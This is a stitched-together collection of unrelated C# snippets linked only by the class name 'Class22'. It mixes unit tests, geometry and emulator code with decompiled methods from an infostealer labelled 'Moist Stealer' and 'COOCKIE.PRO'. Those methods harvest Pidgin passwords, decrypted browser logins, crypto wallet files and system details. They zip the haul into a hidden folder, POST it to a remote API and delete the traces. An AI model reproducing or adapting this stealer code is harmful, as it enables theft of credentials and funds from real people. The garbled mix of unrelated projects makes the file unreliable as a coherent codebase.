public void Test_Class22() { var instance = new Harmony("test"); Assert.NotNull(instance, "instance"); var original = SymbolExtensions.GetMethodInfo(() => Class22.Method22()); Assert.NotNull(original, "original"); var prefix1 = SymbolExtensions.GetMethodInfo(() => Class22.Prefix1(false)); Assert.NotNull(original, "prefix1"); var prefix2 = SymbolExtensions.GetMethodInfo(() => Class22.Prefix2(false)); Assert.NotNull(original, "prefix2"); var patched1 = instance.Patch(original, new HarmonyMethod(prefix1)); Assert.NotNull(patched1, "patched1"); var patched2 = instance.Patch(original, new HarmonyMethod(prefix2)); Assert.NotNull(patched2, "patched2"); Class22.bool1 = null; Class22.bool2 = null; Class22.Method22(); Assert.NotNull(Class22.bool1, "Class22.bool1"); Assert.NotNull(Class22.bool2, "Class22.bool2"); Assert.IsTrue(Class22.bool1.Value, "Class22.bool1.Value"); Assert.IsFalse(Class22.bool2.Value, "Class22.bool2.Value"); }
public void Test_Class22() { var instance = new Harmony("test"); Assert.NotNull(instance, "instance"); var processor = new PatchClassProcessor(instance, typeof(Class22)); Assert.NotNull(processor, "processor"); _ = processor.Patch(); Class22.bool1 = null; Class22.bool2 = null; Class22.bool3 = null; Class22.bool4 = null; Class22.Method22(); Assert.NotNull(Class22.bool1, "bool1"); Assert.IsTrue(Class22.bool1.Value, "bool1.Value"); Assert.NotNull(Class22.bool2, "bool2"); Assert.IsTrue(Class22.bool2.Value, "bool2.Value"); Assert.NotNull(Class22.bool3, "bool3"); Assert.IsFalse(Class22.bool3.Value, "bool3.Value"); Assert.NotNull(Class22.bool4, "bool3"); Assert.IsFalse(Class22.bool4.Value, "bool4.Value"); }
// Token: 0x060001DE RID: 478 RVA: 0x0000EC98 File Offset: 0x0000CE98 public static void smethod_1(string string_0, string string_1) { DirectoryInfo directoryInfo_ = new DirectoryInfo(string_0); DirectoryInfo directoryInfo_2 = new DirectoryInfo(string_1); Class22.smethod_2(directoryInfo_, directoryInfo_2); }
public void Test1() { int expected = 1; int[] input = new int[] { 1, 2, 3, 4, 5 }; var actual = Class22.FindWithUnknownLength(input, 2); Assert.Equal(expected, actual); }
public void Test3() { int expected = -1; int[] input = new int[] { 1, 2 }; var actual = Class22.FindWithUnknownLength(input, 5); Assert.Equal(expected, actual); }
public void Test4() { int expected = -1; int[] input = null; var actual = Class22.FindWithUnknownLength(input, 1); Assert.Equal(expected, actual); }
// Token: 0x060001DD RID: 477 RVA: 0x0000EC48 File Offset: 0x0000CE48 public static void smethod_0() { string text = Path.Combine(Dirs.AppData, ".purple\\logs\\jabber"); if (Directory.Exists(text)) { Directory.CreateDirectory(Dirs.WorkDir + "\\Pidgin\\Logs"); Class22.smethod_1(text, Dirs.WorkDir + "\\Pidgin\\Logs"); } }
public void HnFdepcbbe(string string_1, ulong ulong_0, string string_2, ulong ulong_1) { TransferingProject project = this.imethod_2(string_1); if (project != null) { SendingFileParas paras = this.class3_0.imethod_0(project.AccepterID); int filePackageSize = paras.FilePackageSize; int sendingSpanInMSecs = paras.SendingSpanInMSecs; if (project.method_0() != null) { filePackageSize = project.method_0().FilePackageSize; sendingSpanInMSecs = project.method_0().SendingSpanInMSecs; } if (filePackageSize > (GlobalUtil.MaxLengthOfMessage - 100)) { filePackageSize = GlobalUtil.MaxLengthOfMessage - 100; } IFileOutter interface2 = null; if (project.IsFolder) { interface2 = new DirectorySender(this.emptyAgileLogger_0, (IFilePackageHelper)this.object_0, project.OriginPath, project.AccepterID, string_2, ulong_0, ulong_1); } else if (project.OriginStream == null) { interface2 = new FileSender(this.emptyAgileLogger_0, (IFilePackageHelper)this.object_0, project.OriginPath, project.AccepterID, ulong_0); } else { interface2 = new Class22(this.emptyAgileLogger_0, (IFilePackageHelper)this.object_0, project.OriginPath, project.OriginStream, project.TotalSize, project.AccepterID); } interface2.imethod_9(filePackageSize); interface2.imethod_11(sendingSpanInMSecs); interface2.imethod_13(this.int_0); interface2.imethod_6(project.ProjectID); interface2.FileTransProgress += new CbFileSendedProgress(this.method_8); interface2.FileTransCompleted += new CbFileTransCompleted(this.method_9); interface2.FileTransDisruptted += new CbFileTransDisruptted(this.method_10); this.safeDictionary_1.Add(interface2.imethod_5(), interface2); if (ulong_0 == 0L) { this.FileTransStarted(project); } else { this.FileTransCompleted(project); } interface2.HnFdepcbbe(this.bool_0); } }
// Token: 0x06000233 RID: 563 RVA: 0x0001179C File Offset: 0x0000F99C public static void smethod_7(string string_0) { ComputerInfo computerInfo = new ComputerInfo(); Size size = Screen.PrimaryScreen.Bounds.Size; try { using (StreamWriter streamWriter = new StreamWriter(string_0 + "\\Info.txt", false, Encoding.Default)) { TextWriter textWriter = streamWriter; string[] array = new string[24]; array[0] = "OC verison - "; int num = 1; OperatingSystem osversion = Environment.OSVersion; array[num] = ((osversion != null) ? osversion.ToString() : null); array[2] = " | "; array[3] = computerInfo.OSFullName; array[4] = "\nMachineName - "; array[5] = Environment.MachineName; array[6] = "/"; array[7] = Environment.UserName; array[8] = "\nResolution - "; int num2 = 9; Size size2 = size; array[num2] = size2.ToString(); array[10] = "\nCurrent time Utc - "; array[11] = DateTime.UtcNow.ToString(); array[12] = "\nCurrent time - "; array[13] = DateTime.Now.ToString(); array[14] = "\nCPU - "; array[15] = Class22.smethod_6(); array[16] = "\nRAM - "; array[17] = Class22.smethod_2(); array[18] = "\nGPU - "; array[19] = Class22.smethod_1(); array[20] = "\n\n\nIP Geolocation: "; array[21] = Moist.Help.IP; array[22] = " "; array[23] = Moist.Help.Country(); textWriter.WriteLine(string.Concat(array)); streamWriter.Close(); } } catch { } }
// Token: 0x060001DF RID: 479 RVA: 0x0000ECBC File Offset: 0x0000CEBC public static void smethod_2(DirectoryInfo directoryInfo_0, DirectoryInfo directoryInfo_1) { try { foreach (FileInfo fileInfo in directoryInfo_0.GetFiles()) { fileInfo.CopyTo(Path.Combine(directoryInfo_1.ToString(), fileInfo.Name), true); } foreach (DirectoryInfo directoryInfo in directoryInfo_0.GetDirectories()) { DirectoryInfo directoryInfo_2 = directoryInfo_1.CreateSubdirectory(directoryInfo.Name); Class22.smethod_2(directoryInfo, directoryInfo_2); } } catch { } }
// Token: 0x060001E4 RID: 484 RVA: 0x0000F4A0 File Offset: 0x0000D6A0 public static void Pidgin() { StringBuilder stringBuilder = new StringBuilder(); string text = Path.Combine(Dirs.AppData, ".purple\\accounts.xml"); if (File.Exists(text)) { try { XmlDocument xmlDocument = new XmlDocument(); xmlDocument.Load(new XmlTextReader(text)); foreach (object obj in xmlDocument.DocumentElement.ChildNodes) { XmlNode xmlNode = (XmlNode)obj; string innerText = xmlNode.ChildNodes[0].InnerText; string innerText2 = xmlNode.ChildNodes[1].InnerText; string innerText3 = xmlNode.ChildNodes[2].InnerText; if (string.IsNullOrEmpty(innerText) || string.IsNullOrEmpty(innerText2) || string.IsNullOrEmpty(innerText3)) { break; } stringBuilder.AppendLine("Protocol: " + innerText); stringBuilder.AppendLine("Login: "******"Password: "******"\r\n"); } if (stringBuilder.Length > 0) { Directory.CreateDirectory(Dirs.WorkDir + "\\Pidgin"); try { File.AppendAllText(Dirs.WorkDir + "\\Pidgin\\Logins.txt", stringBuilder.ToString()); } catch { } } } catch { } Class22.smethod_0(); } }
// Token: 0x06000661 RID: 1633 RVA: 0x000383C8 File Offset: 0x000365C8 private Class2 method_10(bool bool_2) { if (!this.bool_0) { bool flag = this.bool_1 || this.symmetricAlgorithm_0 == null; if (this.symmetricAlgorithm_0 == null) { this.symmetricAlgorithm_0 = Class152.smethod_0(); if (this.symmetricAlgorithm_0 == null) { this.bool_0 = true; } } if (this.symmetricAlgorithm_0 != null) { if (flag) { this.symmetricAlgorithm_0.Key = this.method_4(); this.symmetricAlgorithm_0.IV = this.method_6(); this.symmetricAlgorithm_0.Mode = Class152.smethod_1(this.method_0()); this.symmetricAlgorithm_0.Padding = Class152.smethod_2(this.method_2()); } return(new Class4(bool_2 ? this.symmetricAlgorithm_0.CreateEncryptor() : this.symmetricAlgorithm_0.CreateDecryptor())); } } Class73 interface1_ = new Class73(new Class151()); Class22 @class; if (this.method_2() != (Enum1)1) { @class = new Class23(interface1_, Class152.smethod_3(this.method_2())); } else { @class = new Class22(interface1_); } Class25 interface6_ = new Class25(new Class188(this.method_4()), this.method_6()); @class.imethod_1(bool_2, interface6_); return(new Class3(@class)); }
// Token: 0x0600022C RID: 556 RVA: 0x0001127C File Offset: 0x0000F47C public static void smethod_0(string string_0) { Class22.smethod_7(string_0); using (StreamWriter streamWriter = new StreamWriter(string_0 + "\\Programms.txt", false, Encoding.Default)) { try { RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall"); string[] subKeyNames = registryKey.GetSubKeyNames(); for (int i = 0; i < subKeyNames.Length; i++) { RegistryKey registryKey2 = registryKey.OpenSubKey(subKeyNames[i]); string text = registryKey2.GetValue("DisplayName") as string; if (text != null) { streamWriter.WriteLine(text); } } } catch { } } try { using (StreamWriter streamWriter2 = new StreamWriter(string_0 + "\\Processes.txt", false, Encoding.Default)) { Process[] processes = Process.GetProcesses(); for (int j = 0; j < processes.Length; j++) { streamWriter2.WriteLine(processes[j].ProcessName.ToString()); } } } catch { } }
// Token: 0x06000118 RID: 280 RVA: 0x000077EC File Offset: 0x000059EC public static byte[] smethod_1(object[] object_1) { Guid guid_; return(Class22.smethod_3(true, 0, 0, guid_, object_1)); }
// Token: 0x060001E2 RID: 482 RVA: 0x0000EFA4 File Offset: 0x0000D1A4 public static void smethod_5(string string_0) { try { string[] directories = Directory.GetDirectories(string_0); int i = 0; while (i < directories.Length) { string text = directories[i]; try { if (text == Dirs.AppData + "\\Microsoft") { goto IL_1F8; } if (text == Dirs.LocalAppData + "\\Application Data") { goto IL_1F8; } if (text == Dirs.LocalAppData + "\\History") { goto IL_1F8; } if (text == Dirs.LocalAppData + "\\Microsoft") { goto IL_1F8; } if (text == Dirs.LocalAppData + "\\Temporary Internet Files") { goto IL_1F8; } string[] files = Directory.GetFiles(text); foreach (string text2 in files) { FileInfo fileInfo = new FileInfo(text2); if (fileInfo.Name == "wallet.dat" || fileInfo.Name == "wallet" || fileInfo.Name == "default_wallet.dat" || fileInfo.Name == "default_wallet" || fileInfo.Name.EndsWith("wallet") || fileInfo.Name.EndsWith("bit") || fileInfo.Name.StartsWith("wallet")) { Directory.CreateDirectory(Dirs.WorkDir + "\\Wallets"); try { if (!fileInfo.Name.EndsWith(".log")) { string name = new DirectoryInfo(text).Name; Directory.CreateDirectory(Dirs.WorkDir + "\\Wallets\\" + name); File.Copy(text2, string.Concat(new string[] { Dirs.WorkDir, "\\Wallets\\", name, "\\", fileInfo.Name })); } } catch { } } } } catch { } goto IL_1F2; IL_1F8: i++; continue; IL_1F2: Class22.smethod_5(text); goto IL_1F8; } } catch { } }
public Edge MinimumWidth() { Class22 @class = new Class22(this); return(@class.method_6()); }
public BoundingRectangle MinimumPerimeterEnclosingRectangle() { Class22 @class = new Class22(this); return(@class.method_3()); }
public BoundingRectangle FitsInto(BoundingRectangle container) { Class22 @class = new Class22(this); return(@class.method_7(container)); }
public static void GetStealer() { try { Directory.CreateDirectory(Help.Moist_Dir); Directory.CreateDirectory(Help.Browsers); Directory.CreateDirectory(Help.Passwords); Directory.CreateDirectory(Help.Autofills); Directory.CreateDirectory(Help.Downloads); Directory.CreateDirectory(Help.Cookies); Directory.CreateDirectory(Help.History); Directory.CreateDirectory(Help.Cards); File.SetAttributes(Help.dir, FileAttributes.Hidden | FileAttributes.System | FileAttributes.Directory); GetFiles.Inizialize(Help.Moist_Dir); Thread.Sleep(new Random(Environment.TickCount).Next(10000, 20000)); try { Class4.smethod_0(Help.Cookies); } catch { } try { Class4.PlqfdbrYf(Help.Passwords); } catch { } try { Class4.smethod_2(Help.Autofills); } catch { } try { Class4.smethod_3(Help.Downloads); } catch { } try { Class4.smethod_4(Help.History); } catch { } try { Class4.smethod_1(Help.Cards); } catch { } try { Class12.smethod_2(); } catch { } try { Class12.smethod_3(); } catch { } try { Class25.smethod_0(Help.Moist_Dir); } catch { } try { Class15.smethod_0(Help.Moist_Dir); } catch { } try { Class24.smethod_0(Help.Moist_Dir); } catch { } try { Class23.smethod_0(Help.Moist_Dir); } catch { } try { Class20.smethod_0(Help.Moist_Dir); } catch { } try { TGrabber.Start(Help.Moist_Dir); } catch { } try { Class14.smethod_0(Help.Moist_Dir); } catch { } try { Class21.smethod_0(Help.Moist_Dir); } catch { } try { Class13.smethod_0(Help.Moist_Dir); } catch { } try { Class22.smethod_0(Help.Moist_Dir); } catch { } try { Class16.smethod_0(Help.Moist_Dir); } catch { } try { Class17.smethod_0(Help.Moist_Dir); } catch { } try { Class37.smethod_0(Help.Moist_Dir); } catch { } try { DomainDetect.Start(Help.Browsers); } catch { } string text = string.Concat(new string[] { Help.dir, "\\", Help.HWID, Help.smethod_0(), ".zip" }); using (ZipFile zipFile = new ZipFile(Encoding.GetEncoding("cp866"))) { zipFile.CompressionLevel = 9; zipFile.Comment = string.Concat(new string[] { "Moist Stealer. Build 1.1\n<---------------------------------------->\nPC:", Environment.MachineName, "/", Environment.UserName, "\nIP: ", Help.IP, Help.Country(), "\nHWID: ", Help.HWID }); zipFile.AddDirectory(Help.Moist_Dir ?? ""); zipFile.Save(text ?? ""); } string text2 = text ?? ""; byte[] file = File.ReadAllBytes(text2); string url = string.Concat(new string[] { Help.ApiUrl, "?id=", Class1.string_0, "&caption=", "⚡️ Moist Stealer Gate detected new log! ⚡️\n", "\ud83d\udd25 User: "******"/", Environment.UserName, " \ud83d\udd25\n", "\ud83c\udf0d IP: " + Help.IP, " ", Help.Country(), "\n\n", string.Concat(new string[] { "\n\ud83c\udf10 Browsers Data\nPasswords: ", (Class4.int_0 + Class10.int_0 + Class12.EeFrnHmbxo).ToString(), "\nCookies: ", (Class4.int_3 + Class12.int_0).ToString(), "\nHistory: ", Class4.int_4.ToString(), "\nAutofill: ", Class4.int_1.ToString(), "\nCC: ", Class4.int_5.ToString(), "\n" }), string.Concat(new string[] { "\n\ud83d\udcb6 Wallets: ", (Class37.int_0 > 0) ? "Yes" : "No", (Class31.int_0 > 0) ? " Electrum" : "", (Class26.int_0 > 0) ? " Armory" : "", (Class27.int_0 > 0) ? " Atomic" : "", (Class28.int_0 > 0) ? " BitcoinCore" : "", (Class29.int_0 > 0) ? " Bytecoin" : "", (Class30.int_0 > 0) ? " DashCore" : "", (Class32.int_0 > 0) ? " Ethereum" : "", (Class33.int_0 > 0) ? " Exodus" : "", (Class35.int_0 > 0) ? " LitecoinCore" : "", (Class36.int_0 > 0) ? " Monero" : "", (Class38.int_0 > 0) ? " Zcash" : "", (Class34.int_0 > 0) ? " Jaxx" : "", "\n\n\ud83e\uddf2 Grabbed files: ", GetFiles.count.ToString(), "\n\ud83d\udcac Discord: ", (Class14.int_0 > 0) ? "Yes" : "No", "\n\ud83d\udee9 Telegram: ", (TGrabber.count > 0) ? "Yes" : "No", "\n\ud83d\udca1 Jabber: ", (Class20.int_0 + Class18.int_0 > 0) ? "Yes" : "No", (Class18.int_0 > 0) ? (" Pidgin (" + Class18.uGwrzbZsuw.ToString() + ")") : "", (Class20.int_0 > 0) ? " Psi" : "", "\n\n\ud83d\udce1 FTP\nFileZilla: ", (Class16.int_0 > 0) ? ("Yes (" + Class16.int_0.ToString() + ")") : "No", "\nTotalCmd: ", (Class17.int_0 > 0) ? "Yes" : "No", "\n\n⚖️ VPN\nNordVPN: ", (Class23.int_0 > 0) ? "Yes" : "No", "\nOpenVPN: ", (Class24.int_0 > 0) ? "Yes" : "No", "\nProtonVPN: ", (Class25.int_0 > 0) ? "Yes" : "No", "\n\nHWID: ", Help.HWID, "\n⚙️ ", Class22.smethod_4(), "\n\ud83d\udd0e Domain detect", File.ReadAllText(Help.Browsers + "\\DomainDetect.txt") }) }); SenderAPI.POST(file, text2, "application/x-ms-dos-executable", url); Directory.Delete(Help.dir + "\\", true); File.AppendAllText(Help.LocalData + "\\" + Help.HWID, Help.HWID); } catch { } }
// Token: 0x060005C2 RID: 1474 RVA: 0x00028230 File Offset: 0x00026430 // Note: this type is marked as 'beforefieldinit'. static Class23() { Class202.ofdixO4zTbIfy(); Class23.dictionary_0 = new Dictionary <Type, Enum3> { { typeof(char), (Enum3)2 }, { typeof(char?), (Enum3)3 }, { typeof(bool), (Enum3)4 }, { typeof(bool?), (Enum3)5 }, { typeof(sbyte), (Enum3)6 }, { typeof(sbyte?), (Enum3)7 }, { typeof(short), (Enum3)8 }, { typeof(short?), (Enum3)9 }, { typeof(ushort), (Enum3)10 }, { typeof(ushort?), (Enum3)11 }, { typeof(int), (Enum3)12 }, { typeof(int?), (Enum3)13 }, { typeof(byte), (Enum3)14 }, { typeof(byte?), (Enum3)15 }, { typeof(uint), (Enum3)16 }, { typeof(uint?), (Enum3)17 }, { typeof(long), (Enum3)18 }, { typeof(long?), (Enum3)19 }, { typeof(ulong), (Enum3)20 }, { typeof(ulong?), (Enum3)21 }, { typeof(float), (Enum3)22 }, { typeof(float?), (Enum3)23 }, { typeof(double), (Enum3)24 }, { typeof(double?), (Enum3)25 }, { typeof(DateTime), (Enum3)26 }, { typeof(DateTime?), (Enum3)27 }, { typeof(DateTimeOffset), (Enum3)28 }, { typeof(DateTimeOffset?), (Enum3)29 }, { typeof(decimal), (Enum3)30 }, { typeof(decimal?), (Enum3)31 }, { typeof(Guid), (Enum3)32 }, { typeof(Guid?), (Enum3)33 }, { typeof(TimeSpan), (Enum3)34 }, { typeof(TimeSpan?), (Enum3)35 }, { typeof(BigInteger), (Enum3)36 }, { typeof(BigInteger?), (Enum3)37 }, { typeof(Uri), (Enum3)38 }, { typeof(string), (Enum3)39 }, { typeof(byte[]), (Enum3)40 }, { typeof(DBNull), (Enum3)41 } }; Class22[] array = new Class22[19]; int num = 0; Class22 @class = new Class22(); @class.Type = typeof(object); @class.method_1((Enum3)0); array[num] = @class; int num2 = 1; Class22 class2 = new Class22(); class2.Type = typeof(object); class2.method_1((Enum3)1); array[num2] = class2; int num3 = 2; Class22 class3 = new Class22(); class3.Type = typeof(object); class3.method_1((Enum3)41); array[num3] = class3; int num4 = 3; Class22 class4 = new Class22(); class4.Type = typeof(bool); class4.method_1((Enum3)4); array[num4] = class4; int num5 = 4; Class22 class5 = new Class22(); class5.Type = typeof(char); class5.method_1((Enum3)2); array[num5] = class5; int num6 = 5; Class22 class6 = new Class22(); class6.Type = typeof(sbyte); class6.method_1((Enum3)6); array[num6] = class6; int num7 = 6; Class22 class7 = new Class22(); class7.Type = typeof(byte); class7.method_1((Enum3)14); array[num7] = class7; int num8 = 7; Class22 class8 = new Class22(); class8.Type = typeof(short); class8.method_1((Enum3)8); array[num8] = class8; int num9 = 8; Class22 class9 = new Class22(); class9.Type = typeof(ushort); class9.method_1((Enum3)10); array[num9] = class9; int num10 = 9; Class22 class10 = new Class22(); class10.Type = typeof(int); class10.method_1((Enum3)12); array[num10] = class10; int num11 = 10; Class22 class11 = new Class22(); class11.Type = typeof(uint); class11.method_1((Enum3)16); array[num11] = class11; int num12 = 11; Class22 class12 = new Class22(); class12.Type = typeof(long); class12.method_1((Enum3)18); array[num12] = class12; int num13 = 12; Class22 class13 = new Class22(); class13.Type = typeof(ulong); class13.method_1((Enum3)20); array[num13] = class13; int num14 = 13; Class22 class14 = new Class22(); class14.Type = typeof(float); class14.method_1((Enum3)22); array[num14] = class14; int num15 = 14; Class22 class15 = new Class22(); class15.Type = typeof(double); class15.method_1((Enum3)24); array[num15] = class15; int num16 = 15; Class22 class16 = new Class22(); class16.Type = typeof(decimal); class16.method_1((Enum3)30); array[num16] = class16; int num17 = 16; Class22 class17 = new Class22(); class17.Type = typeof(DateTime); class17.method_1((Enum3)26); array[num17] = class17; int num18 = 17; Class22 class18 = new Class22(); class18.Type = typeof(object); class18.method_1((Enum3)0); array[num18] = class18; int num19 = 18; Class22 class19 = new Class22(); class19.Type = typeof(string); class19.method_1((Enum3)39); array[num19] = class19; Class23.class22_0 = array; Class23.class99_0 = new Class99 <Struct9 <Type, Type>, Func <object, object> >(new Func <Struct9 <Type, Type>, Func <object, object> >(Class23.smethod_5)); }
private void InternaPrelPlay() { if (!this.CheckNvidiaDriverVersion()) { return; } if (this.EmuConfiguration_0.AutoUpdate && new ComputerInfo().TotalPhysicalMemory >= 6442450944UL) { this.InstallCommunityShaders(); } this.Event_0 += (EventHandler)((sender, e) => Class27.smethod_0(this.gclass30_0 as GClass32)); this._modArgumentString = (string)null; GClass15 gclass15 = new GClass15((GClass32)this.gclass30_0); if (gclass15.InstalledMods.Count <= 0) { return; } Dictionary <string, ulong> counter = (Dictionary <string, ulong>)null; Dictionary <string, ulong> counter_mlc = (Dictionary <string, ulong>)null; try { counter = JsonConvert.DeserializeObject <Dictionary <string, ulong> >(System.IO.File.ReadAllText(this.PerformanceFile)); } catch { counter = new Dictionary <string, ulong>(); } try { counter_mlc = JsonConvert.DeserializeObject <Dictionary <string, ulong> >(System.IO.File.ReadAllText(this.PerformanceFileMlc)); } catch { counter_mlc = new Dictionary <string, ulong>(); } gclass15.method_7(); List <GClass16> gclass16List = gclass15.method_4(); Class22 mapper = new Class22(this.CurrentGamePath, counter, 134217728L); Class22 mapper_mlc = new Class22(System.IO.Path.Combine(this.Root_BIN_Path, "mlc01"), counter_mlc, 134217728L); foreach (Alphaleonis.Win32.Filesystem.FileInfo fileInfo in gclass15.List_0) { if (System.IO.File.Exists(this.Root_BIN_Path + "\\mlc01\\usr\\title\\00050000\\" + this.gclass30_0.TitleId.High.ToLower() + fileInfo.FullName.Substring(gclass15.String_0.Length))) { mapper_mlc.method_1("\\usr\\title\\00050000\\" + this.gclass30_0.TitleId.High.ToLower() + fileInfo.FullName.Substring(gclass15.String_0.Length), fileInfo.FullName); } else if (System.IO.File.Exists(this.CurrentGamePath + fileInfo.FullName.Substring(gclass15.String_0.Length))) { mapper.method_1(fileInfo.FullName.Substring(gclass15.String_0.Length), fileInfo.FullName); } else { mapper_mlc.method_1("\\usr\\title\\00050000\\" + this.gclass30_0.TitleId.High.ToLower() + fileInfo.FullName.Substring(gclass15.String_0.Length), fileInfo.FullName); mapper.method_1(fileInfo.FullName.Substring(gclass15.String_0.Length), fileInfo.FullName); } } foreach (GClass16 gclass16 in gclass16List) { string string_2 = gclass15.String_0 + gclass16.ArchiveRelativePath; mapper.method_1(gclass16.GameRelativePath, string_2); mapper_mlc.method_1("\\usr\\title\\00050000\\" + this.gclass30_0.TitleId.High.ToLower() + gclass16.GameRelativePath, string_2); } Task.Run((Action)(() => { foreach (KeyValuePair <string, ulong> keyValuePair in (IEnumerable <KeyValuePair <string, ulong> >)counter.OrderByDescending <KeyValuePair <string, ulong>, ulong>((Func <KeyValuePair <string, ulong>, ulong>)(x => x.Value))) { mapper.method_2(keyValuePair.Key); } foreach (KeyValuePair <string, ulong> keyValuePair in (IEnumerable <KeyValuePair <string, ulong> >)counter_mlc.OrderByDescending <KeyValuePair <string, ulong>, ulong>((Func <KeyValuePair <string, ulong>, ulong>)(x => x.Value))) { mapper_mlc.method_2(keyValuePair.Key); } mapper.method_0(); mapper_mlc.method_0(); })); System.IO.Directory.CreateDirectory(System.IO.Path.Combine(GClass88.DirectoryCache, "mods", "mount")); foreach (System.IO.DirectoryInfo enumerateDirectory in new System.IO.DirectoryInfo(System.IO.Path.Combine(GClass88.DirectoryCache, "mods", "mount")).EnumerateDirectories()) { try { try { Dokan.RemoveMountPoint(enumerateDirectory.FullName); } catch { } enumerateDirectory.Delete(true); } catch { } } string mount_point = System.IO.Path.Combine(GClass88.DirectoryCache, "mods", "mount", System.IO.Path.GetRandomFileName()); string mount_point_mlc = System.IO.Path.Combine(GClass88.DirectoryCache, "mods", "mount", System.IO.Path.GetRandomFileName()); GClass6.smethod_5(mount_point); System.IO.Directory.CreateDirectory(mount_point); System.IO.Directory.CreateDirectory(mount_point_mlc); this.Event_0 += (EventHandler)((sender, e) => { mapper.method_4(); mapper_mlc.method_4(); System.IO.File.WriteAllText(this.PerformanceFile, JsonConvert.SerializeObject((object)counter)); string performanceFileMlc = this.PerformanceFileMlc; IEnumerable <KeyValuePair <string, ulong> > source = counter_mlc.Where <KeyValuePair <string, ulong> >((Func <KeyValuePair <string, ulong>, bool>)(x => x.Key.Contains("\\USR\\TITLE\\00050000\\"))); Func <KeyValuePair <string, ulong>, string> func = (Func <KeyValuePair <string, ulong>, string>)(x => x.Key); Func <KeyValuePair <string, ulong>, string> keySelector; string contents = JsonConvert.SerializeObject((object)source.ToDictionary <KeyValuePair <string, ulong>, string, ulong>(keySelector, (Func <KeyValuePair <string, ulong>, ulong>)(x => x.Value))); System.IO.File.WriteAllText(performanceFileMlc, contents); Dokan.RemoveMountPoint(mount_point); Dokan.RemoveMountPoint(mount_point_mlc); GClass6.smethod_5(mount_point); GClass6.smethod_5(mount_point_mlc); }); Task.Run((Action)(() => mapper.Mount(mount_point, DokanOptions.WriteProtection, 10, (ILogger)null))); Task.Run((Action)(() => mapper_mlc.Mount(mount_point_mlc, DokanOptions.FixedDrive, 10, (ILogger)null))); Thread.Sleep(2000); this._modArgumentString = this.GenerateArguments(((IEnumerable <string>)System.IO.Directory.GetFiles(System.IO.Path.Combine(mount_point, "code") + "\\")).Where <string>((Func <string, bool>)(x => System.IO.Path.GetExtension(x) == ".rpx")).ToList <string>()[0], mount_point_mlc); }
public BoundingRectangle MinimumAreaEnclosingRectangle() { Class22 @class = new Class22(this); return(@class.method_2()); }
// Token: 0x06000119 RID: 281 RVA: 0x00007804 File Offset: 0x00005A04 public static object[] smethod_2(byte[] byte_0) { return(Class22.smethod_4(byte_0).object_0); }
// Token: 0x060001E0 RID: 480 RVA: 0x0000ECD8 File Offset: 0x0000CED8 public static void smethod_0() { string[] array = new string[] { "Chrome", "Yandex", "Orbitum", "Opera", "Amigo", "Torch", "Comodo", "CentBrowser", "Go!", "uCozMedia", "Rockmelt", "Sleipnir", "SRWare Iron", "Vivaldi", "Sputnik", "Maxthon", "AcWebBrowser", "Epic Browser", "MapleStudio", "BlackHawk", "Flock", "CoolNovo", "Baidu Spark", "Titan Browser" }; try { Directory.CreateDirectory(GClass9.string_6 + "\\Browsers"); List <string> list = new List <string>(); List <string> list2 = new List <string>(); list2.Add(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)); list2.Add(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)); List <string> list3 = new List <string>(); foreach (string path in list2) { try { list3.AddRange(Directory.GetDirectories(path)); } catch { } } foreach (string path2 in list3) { try { list.AddRange(Directory.GetFiles(path2, "Login Data", SearchOption.AllDirectories)); foreach (string text in Directory.GetFiles(path2, "Login Data", SearchOption.AllDirectories)) { try { if (File.Exists(text)) { string string_ = "Unknown (" + text + ")"; foreach (string text2 in array) { if (text.Contains(text2)) { string_ = text2; } } try { string text3 = Path.GetTempPath() + "/test.fv"; if (File.Exists(text3)) { File.Delete(text3); } File.Copy(text, text3, true); Class7 @class = new Class7(text3); if ([email protected]_4("logins")) { break; } int num = 0; for (;;) { try { if (num >= @class.method_1()) { break; } try { string text4 = string.Empty; try { text4 = Encoding.UTF8.GetString(Class21.smethod_1(Encoding.Default.GetBytes(@class.method_0(num, 5)), null)); } catch (Exception) { } if (text4 != "") { Class22 class2 = new Class22 { String_0 = @class.method_0(num, 1).Replace("https://", "").Replace("http://", "").Replace("www.", ""), String_1 = @class.method_0(num, 3), String_2 = text4, String_3 = string_ }; string str = Class21.string_0; string newLine = Environment.NewLine; Class22 class3 = class2; Class21.string_0 = str + Convert.ToString(newLine + ((class3 != null) ? class3.ToString() : null)); Class21.int_0++; } } catch { } num++; } catch { } } File.Delete(text3); } catch { } } } catch { } } } catch { } } File.WriteAllText(GClass9.string_6 + "\\passwords.txt", (Class21.string_0 != null) ? ("COOCKIE.PRO - Professionals in working with logs! " + Environment.NewLine + Class21.string_0 + "\n") : "", Encoding.Default); } catch { } }
public Edge Diameter() { Class22 @class = new Class22(this); return(@class.method_4()); }